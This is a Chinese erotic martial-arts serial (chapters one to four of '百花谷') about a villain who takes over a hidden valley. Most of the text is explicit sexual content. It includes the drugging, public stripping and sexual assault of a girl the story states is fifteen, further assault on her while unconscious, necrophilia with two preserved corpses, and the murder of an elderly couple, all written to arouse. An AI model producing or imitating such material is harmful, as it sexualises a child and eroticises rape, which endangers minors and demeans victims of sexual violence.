图片载入中

百花谷(1-7)

特大字】 【大字】 【中字】 【小字

*********************************** 这是一个中篇,也是我的处女作,各位见笑,如喜欢,就鼓一下掌,也让我美一回,如不喜欢,请说,我洗耳恭听,以便改进。另外我不会排版,各位能否教我一下?

***********************************

(序)

都说百花谷是一个百鸟朝凤、百花争放、四季如春的神圣宝地,江湖中传言百花仙子陈燕春潜心修炼的地方,却极少有人能够进入,五年前曾经有人目睹陈燕春四大美婢之一海棠儿的芳容,就已惊为天人,因为骚扰而被海棠儿废除武功的正邪两派武林高手多达二十余人,引得天下英雄争窥百花谷的神秘,却没有人能够真正找到百花谷。然而如今百花谷的出入路径几乎人人皆知,却从来没有人敢擅自进入,原因是现在的百花谷主是风正吟,每年只有正月十八风正吟寿辰这天,江湖人士才可以进入贺寿,但如果贺礼不够分量,来宾只能在谷外停留,不能踏入谷中半步,否则此人将自行了断。曾去过百花谷的男人出来往往只有这样一句话,就是不去百花谷,妄为真男儿。所以这几年投奔百花谷的正邪武林高手风如潮海,但真正能成为百花谷的人也是寥寥无几,因为忠诚和武功是百花谷唯一的敲门砖。

风正吟是何许人,说起有点让人不齿,他四十余岁,形象猥亵,尖嘴猴腮,工于心计,十多年前因游手好闲、家境贫寒、沿街乞讨、无妻无子而被武夷掌门郝良收留。因资质平常,五年前他还是武夷派的一名无名弟子,因诱奸掌门十五岁独女郝嘉而被武夷派追杀,后来跌入山谷不知所踪,直到五年前武夷派除郝嘉之外一夜之间全部惨死,郝嘉也无故失踪,人们才意识到风正吟死而复活了,并且武功深不可测,许多打着铲除武林败类旗帜的武林高手往往还没有看清风正吟的招式便已命赴黄泉。不久,江湖便传出风正吟霸占百花谷,除陈燕春下落不明外,其他仙女皆已臣服,而得百花谷密技的风正吟武功更加无法揣测。一时间,江湖各派人人自危,不敢轻言百花二字。

为了铲除武林败类,为武夷派报仇,也为自保,三山五岳在四年前成立除魔大会,一致推举少林大师慧明为武林盟主,共同进攻百花谷,结果慧明大师被风正吟在第十三招用蛇爪抓断经脉,羞辱而自刎,三山无岳四百名弟子只有三十多人逃离百花谷,而百花谷只有十余名武士伤亡。从此江湖没有人敢提及百花谷,也没有正邪之分,并且只要有羞辱百花谷的言辞传出,不出三月,必定会招致灭门之货。好在风正吟并没有吞并江湖的野心,他似乎只想在百花谷里尽享风流,所以只要不去招惹百花谷,每年及时上供,江湖倒也相安无事。这样一来,每年正月十八,百花谷反而成为武林集会的一大盛事。

还有三天又是正月十八了,每到这个时候,风正吟总要做一件事情,就是拜祭郝嘉及陈燕春,郝嘉使他第一次尝到女人滋味,而陈燕春使他知道了什么叫欲仙欲死。而知道这件事的只有陈燕春的四大美婢海棠、水仙、幽兰、香菊以及风正吟的义女,陈燕春的亲生女儿琴玉。除了琴玉早在三个月前说出去置办爹爹的生日礼物,还没有回来外,风正吟带着四大美婢来到百花谷的后山,在启动一块巨大的石门后,风正吟进入一个表面上毫不起眼的山洞。

这是一个表面上面很一般的大厅,风正吟走上前去,轻轻按下座倚的龙头,椅后屏风悄然闪开,一股清香之气扑面而来,里面又是一座山洞,风正吟带着四大美婢走进去,只见里面灯火通明,四周弥漫着薄薄的清香之气,正中央是一座正在冒着热气的水池,水池的正上方摆着一个足有十尺宽的大床,上面躺着两个女人。风正吟的眼光有些湿润,轻轻地说了一声:“阿嘉、燕春,我来看你们来了。”然后向大床缓步走来。

两个女人只有薄薄的纱巾盖着,什么也没有穿,在明亮的灯火照耀下,皮肤红润光滑,简直就是一对活脱脱的浴后睡美人。郝嘉看上去只有十八、九岁,清秀的面庞安祥宁静,乌黑的长发整齐地铺在肩后,皮肤白皙润滑,隆起的酥胸并不是很大,在白净的纱巾下能清晰地看见微红的、小小的乳头,细细的腰身没有半点皱褶,大腿较为修长,纱巾下能微微看见大腿跟部的淡淡阴影。而陈燕春的实际年龄应该是三十四、五了,但看上去只有二十二、三,红润的嘴唇像少女一样微微撅着,修长白润的颈部挂着一串细细的水晶项链,丰满的胸部让人有一种天下美食的感觉,两条水一样滑润的大腿微微地分开,使女性的象征之地格外让人垂涎,陈燕春的阴毛明显地比郝嘉多,呈倒三角形状,两手向上搅在一起,活像一个正在伸懒腰马上就要苏醒的少女。

风正吟盯了郝嘉和陈燕春好一会,感觉到自己的下身开始胀痛,然后看了四位美婢一眼,四位少女马上走上前来,开始为她们的主人、她们的真命天子宽带脱衣。海棠轻声说:“爷,要不要先洗一下?”

“你说呢?”风正吟阴阴地看着海棠,这小妮子是四婢的老大,应该二十岁了吧,长得丰盈貌美,丰满的乳房在衣服里好像要跳出来一样,就是风正吟的手掌也只能是盖住一半。四年前还是那么清新可人,现在已经是隐隐显出成熟的韵味,举手投足之间已经有一种妖媚的诱惑。这当然是风正吟经常耕耘的结果,同时也有阴蛇散的功劳,这种药无色无味,每天只要饮用一点点,就可以使女孩的乳房丰满,并且可以不怀孕就充满香甜的乳汁。而水仙、幽兰、香菊也有十九岁了,身体虽然还不能摆脱少女的娇嫩,但丰满的乳房也足以让天下男人想入非非了,而这四对乳房鲜美的乳汁是风正吟每天早上必饮的早餐,也是风正吟金枪不倒的秘诀之一。

风正吟想,毕竟是在花丛中长大的,吸取了多少鲜花的灵气,四年前当风正吟在一个晚上给她们开处的时候,就连她们幼嫩的阴道都有一种花香之气,现在就是在皇宫,她们也可以让贵妃们黯然失色。如今,风正吟已经离开不了她们,他的衣食起居少了这四大美婢还真不行。

正想之间,风正吟的衣服已被四婢脱下,虽然华丽的衣饰无法掩盖风正吟猥亵的外表,但又长又粗黝黑的男根却是男人少得一见的极品。风正吟迈脚走下放满花瓣的水池,坐在池中间的石凳上,让温暖的池水漫浸在胸部。四婢开始脱下自己的衣服,四具雪白的身体围在风正吟的四周,使整个水池充满了淫邪气氛。女孩毕竟是女孩,一下池便表露出少女应有的兴奋与调皮,年纪最小的香菊笑吟吟地对风正吟说:“刚才我看见爷的那个东西,又长大了耶!”

风正吟就是风正吟,虽然阴险毒辣,但对自己的女人还是非常的宽容,他并不刻意去压制少女应有的天性,他哈哈笑了一声,一把把香菊揽在怀里:“小妮子是不是想让爷喂你呢?”另一只手伸进水里,按在香菊柔嫩的阴部,用手指轻轻地抠了一下。香菊一下子满脸通红,挣扎地站起来,嘟哝着:“才不是呢,爷每次哪会先想到我啊?”海棠用手提起香菊的一只耳朵,笑了起来:“香菊妹妹是不是现在已经发骚了呢?”两个人便扭做一团。

幽兰用手巾开始为风正吟擦起背来,而水仙则走到风正吟的正面蹲下来,用细滑的小手轻揉风正吟的男根,一面揉一面轻轻地对风正吟说:“半个时辰前,奴婢已经把嘉姑娘和春主儿的身体洗得干干净净的,爷等一下可以慢慢享用。”风正吟也用手轻揉着水仙的阴部,用四只手指捋起水仙柔顺的阴毛,淫邪地说:“那里也洗干净了吗?”水仙羞涩地把头埋在风正吟的肩头,细声道:“当然洗了。要不然……要不然怎么敢给爷享用。”

“哈哈……”风正吟也把头凑到水仙的耳旁,淫邪地说:“仙儿就是乖!爷现在就想享用了,你看爷的那个现在就箭在弦上了,晚上爷好好赏你!”

“爷都说什么呢?”水仙虽然早已把处女给了风正吟,但四年了,水仙始终保持着少女那份羞涩与纯真,她把头埋在风正吟的怀里,根本不敢抬起来。

香菊马上就围过来,娇嗔道:“说什么呢?我都听到了,爷要赏仙姐姐,那我们呢?我和海棠姐、幽兰姐刚才也没有闲着啊,嘉姑娘和春主儿那里面的五蛇春,可是我们涂得呢,爷可不能不公平啊。”

五蛇春是一种起润滑和催情作用的神油,当然,对于死去三年的郝嘉和陈燕春,催情已没有意义,但润滑是必不可少的。“好,一起赏,一起赏,可是我在品尝嘉姑娘和你们的春主儿,总要有点精神吧?”

“爷的花样就是多。”海棠挺着白嫩丰满的乳房凑近风正吟,媚媚地说道:“请爷享用。”

“棠儿的奶水就是甜啊!”风正吟一边吸吮着海棠的奶水,一边享用着四美的美妙服务,但风正吟始终没有让她们过于刺激他的宝贝,他知道,等下他还有重要事情要做,可不能过早出击了。

洗浴完毕,四美把风正吟的身体擦干,然后赤身露体地分开站在大床两旁,准备随时伺候她们的主人。

风正吟走近床边,轻轻掀开盖在郝嘉及陈燕春身上的纱巾,然后坐在大床中间,把一丝不挂、白白净净的郝嘉和陈燕春一把抱起搂在怀里,喃喃地说:“嘉儿、春儿,爷又冷落你们一年了。”

这就是百花谷石洞的好处,郝嘉与陈燕春已经死去三年了,不仅尸体没有腐烂,而且能够保持常人的神态与体温,当然风正吟的精液也是郝嘉与陈燕春保持常人体态的另一个秘诀,这点,恐怕也只有风正吟知道。不,确切地说,除了风正吟还有一个人知道,那就是龙山老蛇,可是这条老蛇恐怕要在风正吟为它挖掘的坟墓里永久冬眠了。

风正吟放下陈燕春,把温暖的郝嘉两条腿叉开,把郝嘉背对自己平放在自己的身上,用一只黝黑干枯的大手轻握郝嘉柔软的乳房,另一只手轻轻地抚弄郝嘉温润的阴唇,跟和一个正常少女调情一样,然后慢慢把眼闭上,享受这温柔的感觉。风正吟对郝嘉的感情是他这辈子唯一可以说是真正的感情。风正吟的思绪又飞回到五年前的武夷山脉……

(二)

武夷派是武林中的一个小派,掌门郝良的武功也算平常,但为人豪爽正直、乐善好施、疾恶如仇而在武林中颇受众人尊敬,他一生最大的失败就是收留无家可归、沿街乞讨的风正吟。他一生中最大的慰藉就是生了一个姣巧可爱、貌美如花的女儿郝嘉,以及交了一个肝胆相照的好友——武当山的平之道长,就连郝嘉的名字也是平之道长起的。

在二人逢十的生日时候,双方肯定会亲赴对方的居所促漆畅谈,偏巧在平之道长五十大寿的时候,郝良一病不起,于是万分焦急,决定让十五岁的郝嘉亲自带寿礼前去祝寿。由于郝嘉从未出过远门,又是美貌少女,考虑江湖凶险,郝良还是犹豫万分。

天真浪漫的郝嘉可不管这一套,能出门游玩是一件天大的快事,于是天天缠着父亲同意她出门,想想郝嘉虽然年龄尚小,但也得父亲六分真传,一般的鸡鸣狗盗应付起来还是绰绰有余的,至于江湖经验,可以通过多派有些有实力的弟子跟随来解决,所以郝良喊来了武夷大弟子李义及风正吟。

郝良对二位说:“李义啊,你是武夷大弟子,为人忠厚,武功最高,师妹此行你可要担血海干系啊,还有正吟,你来武夷也好几年了,一直都对武夷忠心耿耿,虽然在武功方面略为逊色,但你在江湖中也是浪迹过的,这些年我并不是把你当弟子,而是当弟弟看的,希望你能在师妹此行中多多提醒,已防大家遭恶人算计。”

“师傅放心,我们就是舍去性命,也会保师妹顺利出行的。”就这样郝嘉及两位师哥带了一大堆金银礼品,欢天喜地地离开了武夷山。他们三人谁也没有想到,此行将改变他们未来的一生命运。

三人快马加鞭,十几天的功夫已经来到江西南丰境内,风正吟对两位说:“南丰是我们路途上最大的一个集市,但不久前听说天龙帮在此胡作非为,无恶不作,我看我们还是不要停留,绕开南丰较为适宜。”

“不!风师哥,我一路上好累噢,我要看看集市,都快闷死了!如果天龙帮要来惹事,本小姐一定让他头破血流、不得善终!”郝嘉噘起嘴抗议。

李义向来十分呵护郝嘉,听完后,对风正吟道:“我也听说过天龙帮,可凭他们的实力还不敢明目张胆招惹我们武夷派吧,我看就依师妹,在南丰歇一晚再走吧,只要我们不招摇,应该没有太大的问题。”

“这……”风正吟看着郝嘉一脸可爱的哀求状,心想:这个小丫头真的长大了,这么水灵,难保真的不出事呀。于是风正吟说:“如果师兄也认为在南丰可以歇息,那师妹最好扮成男装,也最好不要说话,以防不测。”

郝嘉用手推着风正吟道:“好了好了,我依你便是。”风正吟嗅到郝嘉身上散发的微香热气,不由心头一振。

化妆完毕,风正吟始终觉得郝嘉难改女儿姿态,又没有更好的办法,于是继续前行,下午时间来到南丰最大的客栈——南丰客栈。三人坐下喝酒解乏,郝嘉又表现出女儿状,高兴地要上街游玩,风正吟赶紧咳嗽,郝嘉才噘嘴坐下。风正吟悄悄打量四周,好像没有人注意,心里略感踏实。其实风正吟没有发现在最角落里有一个正在埋头喝酒的人,也在悄悄地打量着他们。

入夜,三人要了两间相连的客房,分头入睡。因为心里不踏实,风正吟到夜里三更天还无法睡着,突然他听到隔壁郝嘉的房内有异动的声音,紧接着又听到郝嘉一声极督促的喊声,风正吟不由一身冷汗,立刻叫醒李义,抽出宝剑,拿着油灯,推开郝嘉的房门,只见房内一片凌乱,窗户大开,郝嘉不见了!

二人立即跳出窗子,只见前面隐隐约约的有一些黑影正在跑远,李义大唿一声:“恶贼,哪里走!”和风正吟追了出去,一直追到城边,二人才追上,一看是十几个手拿钢刀的幪面汉子,其中有一个背着一个大包袱,包袱还在蠕动。

李义和风正吟也不多话,提剑便和幪面汉打了起来,这些幪面汉功夫并不见高,二人抵挡也不见落入下风。打着打着,李义突然喊了一声:“正吟,这里我来对付,你快回去看看师傅的礼品。”

风正吟立即省悟,这些礼品可是师傅贺寿用的,贵重无比,丢了就没法去武当山了,而以自己的武功,要帮李义太大的忙也是枉然,于是他虚幌一招,撤身就走。

等他赶回自己的房间,发现他们的包袱早已不见,风正吟的两腿差点软倒,发愣数秒后,风正吟又提剑往回赶,因为要是郝嘉有个三长两短,自己就死无葬身之地了。

赶到战场,风正吟惊呆了,地上躺着四、五具尸体,李义已经身首异处,气绝身亡了!

天龙帮的总部在南丰城南五里外的一个村庄里,此时庄内的一座豪宅灯火通明,三十多个粗壮汉子站立两旁,天龙帮帮主海天龙正满脸微笑地看着桌面上沉甸甸的古玩字画及金银财宝,哈哈地笑了起来:“真是一个大买卖啊!小的们干得不错,本帮主将重重有赏!”身边一个五大三粗的汉子又说:“帮主,还有更大的收获呢!”

“噢,还有什么?”

“我们还带回来一个小妞,南丰城里还没有这样的货色呢!”

“快,快带上来!”

一名汉子扛着一个大包袱走进来,轻轻放在地上,然后把带子解开,把昏迷的郝嘉轻轻地抬了出来。

所有人的眼睛都直了,郝嘉虽然昏迷不醒,但由于是夜里遭劫,所以只穿了亵衣亵裤,白天盘起的头发已放下,乌黑发亮地覆盖着双肩,裸露的白嫩修长的手臂及大腿在灯光下显得那样的耀眼和魅惑,亵衣下微微隆起的胸部一起一伏,仿佛是在向人招手,而亵裤两股交叉的地方呈现出少女美好的曲线,让人看得两眼冒火。

“哈哈……果然是人间极品,来啊,把这个小妞带下去好好清洗一下,要干干净净、香喷喷地抬出来供老爷享乐,另外赶快准备丰盛大餐,本帮主要和众兄弟好好庆贺一下!”海天龙用手按了按发硬隆起的的部位,哈哈大笑了起来,四个丫鬟把郝嘉抬了下去,帮内众人也欢天喜地地分头准备去了。

一个时辰的功夫,大餐已准备完毕,大厅四周坐满了四十来号人,开始开怀畅饮,大厅中央铺了一块十多尺见长见宽的又厚又大的红色被褥,被褥的正前方坐着天龙帮的头号人物——海天龙。不一会,一个丫鬟上来,细声说:“姑娘已经洗浴完毕,请爷吩咐。”

海天龙一挥手:“兄弟们安静,好戏开场了。把小妞抬出来。”

只见四位丫鬟把依旧没有苏醒的郝嘉抬出来,轻轻放在巨大的被褥之上,再把郝嘉身上唯一覆盖的白色纱巾揭开。这是怎样的一幅香艳画面啊!郝嘉这回连亵衣亵裤都没有了,在明亮的灯会和鲜红的被褥下,美丽清纯的面庞、全身凹凸分明的曲线,盈盈可握的乳房、粉红色精巧的乳头、细嫩洁白的腰肢、两股间稀疏的阴毛、隐隐可见的粉红色细长的阴唇以及修长的大腿、小巧可爱的玉足都毕露无遗。

又一个丫鬟端来一碗清水,把郝嘉半扶起来,慢慢地给郝嘉喂下去,然后轻轻退出。整个大厅鸦雀无声,所有人的目光都盯着郝嘉香艳淫蘼的裸体,海天龙拿着酒杯的双手微微开始战抖起来,他走到郝嘉面前仔细地打量郝嘉,就是他也没有见过如此美丽的女孩,老天真是有眼啊!

不一会,郝嘉渐渐苏醒过来,出现在她面前的是一张可怕的脸孔,她一声惊叫,双手自然捂到酥胸,这一捂不要紧,郝嘉立刻发现自己竟然是一丝不挂的,“啊”一声,郝嘉险些再次晕厥过去,再一转脸,她看到四周竟然有四十多张淫邪的脸孔,冒火的双眼似乎要吃掉自己身上的每一块肌肤。稳一稳神,郝嘉用双手捂住双乳及女性最宝贵的地方,战战兢兢地问海天龙:“你……你是谁?”

“哈哈哈哈……我是谁?我是你未来的夫君啊!娘子。”海天龙笑得满脸横肉挤成了一团。

“放……肆!我爹是武夷派掌门,我可以叫你死无全尸!”

“你说是郝良这个不中用的家伙吗?他怎么舍得对未来女婿施加毒手呢!哈哈……小姑娘,你就不用再多说了,这么多兄弟见证,你我今日就成其好事,行夫妻大礼吧!”

“你敢!”郝嘉运功一掌向海天龙的天灵穴拍去,可她马上发现自己的手掌竟然一点力气也没有,一只玉手还被海天龙抓得死死的。

“姑娘,你知道吗?我刚才给你服了阴佛散,你怎么还会有内力呢?不仅如此,等会你还会欲仙欲死,求本大爷为你行其好事呢!哈哈……”

“你……你……爹……娘……救救我……”郝嘉气得说不出话来,毕竟是女孩家,恐慌惊吓加上浑身乏力,郝嘉一下子哭了起来。

(三)

“你爹娘远在千里之外,怎么可能过来救你呢?还是我来救你吧。”海天龙笑着顺势一把把郝嘉往怀里一带,另一只手挽起郝嘉的双腿,把郝嘉身体抱起放在自己的腿上,一只手把郝嘉还在舞动的双手别到身后死死按住,一条腿把郝嘉正在乱踢的双腿压住,使郝嘉无法动弹,宛如一只待宰的羔羊,无奈地摆放在恶魔的面前。

海天龙充满酒气的大嘴便向郝嘉清秀粉嫩的面庞凑去,完全盖住郝嘉鲜红欲滴的双唇,另一只手则按在郝嘉娇嫩的乳房上,轻轻捏起郝嘉从未被其他人蹂躏过的乳头。半晌才抬起头,像刚喝了一坛陈年美酒一样,说了一句:“爽!太爽了!又香又甜,人间美味啊!”

郝嘉差点被海天龙的臭嘴憋得窒息过去,海天龙的嘴一放开,郝嘉的头就猛烈地摆动着,身体拼命地挣扎着,少女的初吻就这样被残暴地掠夺走了,心里面羞愤得想马上死去,嘴里哭喊着:“放开,放开我,你这个恶贼……救我,救我啊……”

海天龙笑眯眯地看着郝嘉,跟什么都没有听见一样,手掌只是随心玩弄郝嘉的乳房,柔嫩的乳房被挤成各种形状,然后海天龙的魔手慢慢地向郝嘉的小腹滑去,轻轻地用手指在郝嘉美妙的肚脐眼四周滑动着,再把手伸向少女最宝贵的地带,先用手提了提郝嘉稀疏、细细、柔软还没有完全变黑的阴毛,再用一根手指向两腿紧夹的阴唇探去,口里还自言自语:“嫩,简直是人间尤物,就是嫩,味道也一定不错吧。”

在场众人有的拼命喝酒,开始乱喊,有的干脆把手伸向自己的下身,激烈地揉动起来。

在这么多人面前被人羞辱,郝嘉羞愤得快要死去,只是她还没有意识到,她的意识正在逐步消失,大脑正在出现空白,两眼开始迷离,身体好像变轻,向天上的白云飘去,飘去……口里还在喃喃自语:“不要啊……放开我……走……走开啦……”

海天龙满意地看着身下赤裸的年轻女体,也不答话。他这回没有花什么力气便把少女的双腿分开,郝嘉的大腿修长匀称,两腿内侧柔软白嫩,晶莹似玉,简直弹指可破,粉白的内侧肌肤接近阴部时才开始变暗。

海天龙用两根手指分开郝嘉粉色的阴唇,把大脸凑近,仔细观看少女的最高机密,只见双唇之内是嫩嫩的、略有皱褶的肉壁,由于惊吓,这里还没有什么湿润,肉壁上有两个微小的肉洞,肉洞上方隆起一个小小的肉粒,这就是开启女体情欲的机关了。海天龙轻轻用手拨弄那颗羞涩的肉粒,他能感觉到郝嘉身体的颤动,他满意地看了郝嘉一眼,然后把嘴抵到郝嘉的阴户上,一口把郝嘉的阴蒂含在嘴里,用舌头搅动起来。

“不……要……”郝嘉的声音越来越弱,她的身体越来越轻,已经飘到了白云上面,她似乎已经很难听到四周的声音,身边的恶魔已经被微风吹走,自己一点力气也没有,完全沐浴在和煦的日光里,心里慢慢恢复宁静,温暖的微风抚慰着幼嫩的身躯,有一点难以形容的快感,这种快感从身体最隐蔽的地方散出,逐渐向身体的四周扩展,也在逐渐加强,但自己的下意识又不自觉地让她感到惊慌,因为这是自己从来没有体验过的感觉。

“小娘子,小娘子,”见郝嘉没有任何反应,海天龙得意得哈哈大笑,他知道阴佛散开始起作用了,这种药是海天龙千辛万苦从西域弄来的,它最大的作用就是可以让服药的人三个时辰内出现幻觉,失去意识,然后任人摆布。海天龙曾经用这种药创造了南丰第一大冤案,正直不阿准备缉拿海天龙的前任南丰知府杀死自己全家然后自刎,至今还是无头冤案,因为郝嘉过于美貌且身藏武功,所以海天龙才再次使用阴佛散的。

海天龙把郝嘉抱着站了起来,然后大声说:“诸位兄弟,感谢各位兄弟今天做的大买卖,好酒尽管喝,大肉尽管吃,我海天龙从来都是说到做到,有福大家享,有妞大家泡,可这一道美味嘛……各位只有过几天才能享受哦,不过大家也别失望,今天就给大家好好看看这道好菜,过几天吃起来才特别有味啊。哈哈哈哈……”

“感谢帮主,帮主万寿无疆……”场面开始骚乱疯狂起来。

海天龙低头对郝嘉说:“小娘子,看见了没,所有的爷们都想怜爱你呢,你还是要感谢大家一下吧!来,小娘子,听话,把腿分开,像小时候大人抱你撒尿一样,对,对了,小娘子,乖,哈哈……”

看着郝嘉无力地把双腿分开,任自己未经人世的羞处展露在众人的目光下,海天龙得意地又大笑起来,然后把郝嘉抱到众人面前,大声喝道:“听着,只准看,不准摸,否则都被你们的臭手摸了,那本帮主等下还玩个屁啊?”

海天龙从郝嘉两条分开的大腿下面,用手指大大分开郝嘉的两片阴唇,然后捧到胸前,缓步走到众人面前,任处女的肉洞毫无遗漏地展现在每一个人眼前。

“妈的,美!太美了!”、“干她一回,死我也去了!”……场面更加疯狂了,有的人已经把自己的丑恶家伙掏出来,当众套弄起来。

走了一圈以后,海天龙把郝嘉放在大厅中央鲜红的被褥上,大声对众人说:“真正的好戏现在开场,兄弟们可以一边喝酒,一边欣赏破身大餐。”酒杯声响成一片,每个人的眼光都目不转睛地盯着被褥上的郝嘉,等待着更残忍的一幕开始。

海天龙又在郝嘉的耳旁诱惑地说:“小娘子,现在让夫君好好地疼爱你吧!来,起来,为夫君解带宽衣。”

此时的郝嘉已经遗忘了一切,就好像海天龙是自己身边最亲近的人一样,她晃晃悠悠地站起来,开始为海天龙解带宽衣,当海天龙丑恶粗大的男根露出来的时候,它已经直挺挺地指向前方,郝嘉本能地羞涩起来,把头别向一边。

海天龙嘿嘿一乐,道:“小娘子,不用害羞,这个小弟弟是最疼爱你的,只要你疼爱它一回,你喜欢它还来不赢呢!以后你少了它,一天也过不下去的。”然后抓住郝嘉的白嫩小手,把它按在已经烫手的男根上,指导郝嘉慢慢地套弄起来。

尽管郝嘉现已失去意识,这方面也没有任何经验,但软软的小手还是让海天龙爽得忘乎所以。一会的功夫,海天龙把郝嘉的手拿开,然后让郝嘉跪在自己面前,把臭哄哄的男根挨到郝嘉小小的红唇边,诡异地说:“小娘子,你夫君的小弟弟已经很就没有沐浴了,你用嘴轻轻把小弟弟含住,然后用舌轻轻洗,把它洗干净,你会尝到天下最美味的东西。”

看着郝嘉犹豫的神态,海天龙已把男根抵在郝嘉的红唇上,也许是海天龙身上的难闻的恶臭,郝嘉本能“啊”一声还没有发出,海天龙的男根已经进入郝嘉的红唇里。

软软的,暖暖的,一股难言的温润和快感迅速从海天龙的下身扩散到大脑及全身,“爽!真他妈的爽啊!”海天龙半闭双眼,刚刚体会到这天下第一快感的时候,一阵头晕目眩在大脑里出现,“好像不对!”海天龙还没来得急反应,身体已经翻倒,不省人事。

此时郝嘉还跪在地上茫然看着倒地的海天龙,周围有人高喊:“帮主,怎么了?爽翻了吗?”就在大家弄不清怎么回事的时候,天龙帮众徒纷纷倒地,几位丫鬟吓得连声音也发不出。

此时在大厅一个相对昏暗的角落里,一个一直埋头饮酒的人突然摘掉帽子,拔出宝剑,箭步冲上大厅,四、五个小丫鬟还没有反应过来的时候,已被斩成两截,鲜红的血液溅满了这个人的全身,已经看不出此人的相貌及衣服颜色,他一句话也没有,提着宝剑便向倒地昏迷的海天龙心脏刺去……可怜海天龙还没有真正尝到世间最美味的女体,便一命呜唿,魂丧西天。

此人不是别人,正是风正吟。风正吟抓起海天龙身边的一件豪华大氅盖在还在发呆的郝嘉身上,然后把郝嘉扛在肩上,提剑冲出大厅。因为大厅大开筵宴,所以门卫不多,还不知道里面发生了什么事,已被风正吟刺倒了三、四个,风正吟快步冲出大院,用剑砍断院门口拴马桩上所有绳索,然后抓住其中一匹黑马,拍马绝尘而去……

(四)

风正吟不愧是风正吟,毕竟在江湖里走了一圈,在李义打斗的战场上发愣几秒后,立即冷静下来。虽然黑夜没有办法看清李义是怎么死的,但理智告诉他,现在最重要的是救回郝嘉并夺回贺礼,否则风正吟空手回到武夷派是死,流落江湖被武夷派追杀也是死,风正吟只有死路一条。

事不宜迟,风正吟火速潜回南丰城,就近猛敲一家店铺的门,这刚好是一家药铺,血迹斑斑、急得快要发疯的风正吟简要地说了自己的情况,胆战惊惊的药铺老板说出了天龙帮的具体路线,临走的时候,风正吟索要了一批药品,其中包括金创贴及可致人昏迷的宁服散等,向天龙帮一路奔来。

当风正吟扑近天龙帮的时候,天还没有放亮,风正吟在黑暗处仔细聆听天龙帮弟子的语言,隐隐约约了解到大厅正准备大开筵宴,庆贺发财。于是风正吟悄悄干掉了一个走单的天龙帮弟子,换上天龙帮衣服,乘天龙帮一片欢天喜地的空子,摸进天龙帮的伙房,把才弄来的宁服散倒进一个已经搬出的大酒坛,然后乘乱混进大厅,在一个最不起眼的角落里坐下,等待时机向天龙帮发难。

也该天龙帮倒霉,平常在南丰没有人敢招惹他们,又在大喜之下,谁也没有想到会大难临头,在大家开怀畅饮全部中毒倒地后,便出现了风正吟一击成功的情况。

风正吟向南狂奔了近两个时辰,天已大亮,感觉到怀里的郝嘉开始蠕动,他知道郝嘉快醒了,但风正吟还不敢掉以轻心,因为这个时候他还没有跑出天龙帮的势力范围,他顺一条小道进了一座大山,在一家孤零零的草屋门口勒住马缰,抱着郝嘉推门进屋,见一对老夫妇正吃惊地看着他,风正吟忙道:“我们正被一些歹人追杀,求老丈收留我们。”

两个老人急忙把他们让进屋,风正吟把郝嘉轻轻地放在床上,老头进里屋找了几件衣服出来,对风正吟说:“这是我儿和儿媳的几件衣服,他们进山打猎,要半个月才会回来,如果壮士不嫌弃就请换上。”

老妇人开始进灶房给风正吟做吃的,等把吃的端上,风正吟对两位老人说:“这是我的女儿,因遭贼人暗算,要过一会才醒,感谢二位相助,日后我们一定重谢,现在我有要事请二位到门外一叙。”于是两位老人跟风正吟来到门外的一个草垛旁,风正吟突然两只手掐住两位老人的咽喉,用劲一拧,可怜两位老人立即命丧黄泉。

风正吟做事一向谨慎,他知道要是两位老人把消息传出,要不了多久,天龙帮就会杀到。风正吟把两位老人的尸首堆在一起,顺便把自己的血衣脱下放在尸首上,然后用草垛盖上,看看周围一点痕迹也没有,风正吟这才回到屋里,胡乱吃了点东西,然后在郝嘉的身边坐下。此时的郝嘉还被大氅裹着,安祥地像个熟睡的孩子,还没有醒过来。

风正吟是看着郝嘉由一个顽皮的孩童长成一位水晶般可爱女孩的,平时在武夷派,风正吟从来不敢正眼细瞧郝嘉,一是武夷派帮规甚严,二是穷困潦倒的风正吟从来没有品尝过女人的滋味,怕多看郝嘉会控制不住自己,三是风正吟形象不佳,内心的自卑无法消除。而郝嘉从来都是把风正吟当作自己信赖的叔叔,平时也爱在风正吟面前撒娇犯浑,风正吟总是不自然地把身子转开,以掩饰自己要隆起的部位,就是这样,半夜里,风正吟还会梦见郝嘉的妙缦的身躯,早上起来会发现自己的下身湿漉漉的一片。

基本上风正吟从来不敢对郝嘉有非分之想,可最要命的是,风正吟在天龙帮目睹了郝嘉受辱的全部过程,他终于看到了世界上最美丽的身体和女性可爱的私处,它是那样的白嫩迷人与圣洁,更要命的是,这样圣洁的身体竟然被一双世界上最肮脏的手所玷污,风正吟仇恨的怒火几经压制才没有爆发,可风正吟心目中的美好神像终于倒塌了,心中邪恶之火已被熊熊点燃。

看着泪迹犹在、美丽安祥的女孩,风正吟想:这个小妮子不会马上就醒吧?于是他的手微微颤抖着,轻轻抚摸郝嘉秀丽的面庞,又慢慢掀起裹在郝嘉身上的大氅,早上的阳光透过简陋的竹窗照射进来,照耀在郝嘉裸露的身体上,泛起一片柔和的白光,风正吟的脑海里涌现出一点眩晕,心里面冒出从未有过的温柔,他把郝嘉的裸体轻轻抱起,拥在自己的怀里。

风正吟不敢过于用劲,生怕郝嘉会醒过来,他用嘴轻吻着郝嘉略显苍白的嘴唇,感受女孩那与生俱来的温柔,然后把嘴轻轻地含住郝嘉粉红色的乳头,他用舌头在郝嘉不大的乳晕四周划着圈,用手轻轻地把郝嘉的嫩乳挤成一座小山,再把乳头慢慢刁起,品尝这略带乳香和酒臭的滋味。紧接着风正吟把郝嘉平放在床上,把郝嘉的双腿轻轻分开,舌头顺着郝嘉的乳房向下延伸,通过小腹来到芳草萋萋的深山幽谷,用嘴把郝嘉的整个阴户包在嘴里,像孩子一样吸吮着,舌头开始探索郝嘉的阴道,一股酸酸甜甜的滋味使风正吟的阴茎胀痛快要崩溃了。此时的风正吟恨不得自己的舌头见风就长,好探索郝嘉身体更深处的秘密。

“醒就醒了吧,”风正吟实在无法忍受了,他极快地褪下自己的裤子,把又黑又粗又长又硬的男根拿出来,然后跪在郝嘉的身旁,把郝嘉的两腿放在自己的双肩,开始用阴茎摩擦郝嘉的的两片阴唇。虽然郝嘉的阴部非常干燥,但风正吟的男根阴茎冒出少许精液,郝嘉的阴户很快便被风正吟湿润。

他用手轻轻分开郝嘉的阴唇,把阴茎对着郝嘉的阴道轻轻地往里挺进,然后附下身子,用胸膛按摩郝嘉稚嫩的乳房,屁股开始慢慢蠕动。郝嘉温暖湿润的阴道紧紧包含着风正吟的男根,从来没有体验过的快感使风正吟的理智正在渐渐消失,他正想长驱直入,突破郝嘉的最后防线的时候,一种麻痹的快感从风正吟的大脑迅速地向身体四周扩散,风正吟射了!

